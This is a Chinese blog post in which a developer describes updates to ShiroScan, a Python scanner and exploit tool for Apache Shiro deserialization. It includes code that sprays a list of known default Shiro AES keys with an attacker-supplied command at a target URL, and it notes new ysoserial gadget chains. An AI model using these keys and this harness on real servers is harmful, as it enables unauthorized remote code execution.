0x01 背景

周六日在家无聊,周六写的某自动提交,周日想起了当初因为某些原因写的ShiroScan,既然现在也有很多师傅在用,就准备重新改一下,毕竟当初为了赶速度,代码不能看-.-!
  • 下载链接:https://github.com/sv3nbeast/ShiroScan

0x02 新增多线程

  • 当然首先要增加速度,使用的是python的threadpool这个老模块,下方是个别代码,其实插件模块里的插件代码全部都变了,虽模块增加但预计增加速度300%
  • 为了脚本运行简单,多线程数量不是使用者传参控制,默认20线程,如需改动请到/moule/main.py第20行代码自行修改控制线程的参数
    def multithreading(self,funcname,url ,command, pools):

        key = ['kPH+bIxk5D2deZiIxcaaaA==1234url3456'+url+'1234command3456'+command+'1234sven3456','wGiHplamyXlVB11UXWol8g==1234url3456'+url+'1234command3456'+command+'1234sven3456','2AvVhdsgUs0FSA3SDFAdag==1234url3456'+url+'1234command3456'+command+'1234sven3456','4AvVhmFLUs0KTA3Kprsdag==1234url3456'+url+'1234command3456'+command+'1234sven3456',
            '3AvVhmFLUs0KTA3Kprsdag==1234url3456'+url+'1234command3456'+command+'1234sven3456','Z3VucwAAAAAAAAAAAAAAAA==1234url3456'+url+'1234command3456'+command+'1234sven3456','U3ByaW5nQmxhZGUAAAAAAA==1234url3456'+url+'1234command3456'+command+'1234sven3456','wGiHplamyXlVB11UXWol8g==1234url3456'+url+'1234command3456'+command+'1234sven3456',
            '6ZmI6I2j5Y+R5aSn5ZOlAA==1234url3456'+url+'1234command3456'+command+'1234sven3456','fCq+/xW488hMTCD+cmJ3aQ==1234url3456'+url+'1234command3456'+command+'1234sven3456','1QWLxg+NYmxraMoxAXu/Iw==1234url3456'+url+'1234command3456'+command+'1234sven3456','ZUdsaGJuSmxibVI2ZHc9PQ==1234url3456'+url+'1234command3456'+command+'1234sven3456',
            'L7RioUULEFhRyxM7a2R/Yg==1234url3456'+url+'1234command3456'+command+'1234sven3456','r0e3c16IdVkouZgk1TKVMg==1234url3456'+url+'1234command3456'+command+'1234sven3456','5aaC5qKm5oqA5pyvAAAAAA==1234url3456'+url+'1234command3456'+command+'1234sven3456','bWluZS1hc3NldC1rZXk6QQ==1234url3456'+url+'1234command3456'+command+'1234sven3456',
            'a2VlcE9uR29pbmdBbmRGaQ==1234url3456'+url+'1234command3456'+command+'1234sven3456','WcfHGU25gNnTxTlmJMeSpw==1234url3456'+url+'1234command3456'+command+'1234sven3456','bWljcm9zAAAAAAAAAAAAAA==1234url3456'+url+'1234command3456'+command+'1234sven3456','MTIzNDU2Nzg5MGFiY2RlZg==1234url3456'+url+'1234command3456'+command+'1234sven3456',
            '5AvVhmFLUs0KTA3Kprsdag==1234url3456'+url+'1234command3456'+command+'1234sven3456']

        pool = threadpool.ThreadPool(pools)
        requests = threadpool.makeRequests(funcname,key)
        [pool.putRequest(req) for req in requests]
        pool.wait()
    def poc(self,url, command, thre):

        self.multithreading(self.generator, url, command, thre)
        return False

0x03 新增利用链

  • 在过往几个月有部分大佬放出了自己的类似工具,有我很多需要学习的地方-.-! ,所以这次增加了新的利用链,代码表现为新增了4个模块,尤其是CommonsCollections10,预计增加成功率30%

  • 利用链详情为此篇文章(推荐给此类研究的师傅看):https://www.anquanke.com/post/id/190468(Java反序列化利用链分析之CommonsCollections5,6,7,9,10)

  • 所以现在的ysoserial.jar包是新的,请勿更换成自己的jar包哦

0x04 坑点

  • python的threadpool模块中threadpool.makeRequests这里传参不能使用超过2个参数,难住我了,最后解决办法是参数集合成1个参数,到了方法里在正则取出需要的参数-.-! (此处别笑,掌声。。)

0x05 忽略

  • dnslog回显来确定key这个功能,我不太想要0.0,其实还能确定使用的模块,但是都需要使用者命令行传参,会让我在用脚本的时候想命令的时间多1秒,要不功能就全集成在脚本内,要不就不要,因为当初是个菜J的时候(现在也是-.-!)看到个脚本一堆冗余功能就头痛,花里胡哨的,除了浪费时间就是浪费时间,当然大型,连载的工具排除哈,脚本嘛,就是为了某个目的做的一键工具
  • 但是有个师傅的工具可以直接检测出使用的是什么key,目前我还不会,所以说菜才是原罪-.-!,如果有会的师傅告诉我下就好了。。
  • 这个工具其实就是为了探测是否存在可利用的shiro反序列化漏洞,仅此而已哈,我表示最喜欢的工具类型就是最少的命令实现较多的功能,应该有志同道合的朋友吧~
  • 其实光检测的话使用URLDNS这个利用链就可以,但是有的时候这个URLDNS成功不代表可以利用,如果继续增加检测率,其实用JRMPClient我觉得更好,但是会增加一些使用者操作,所以就不放出来了,而且会的师傅也并不依赖工具,完全可以自己操作-.- !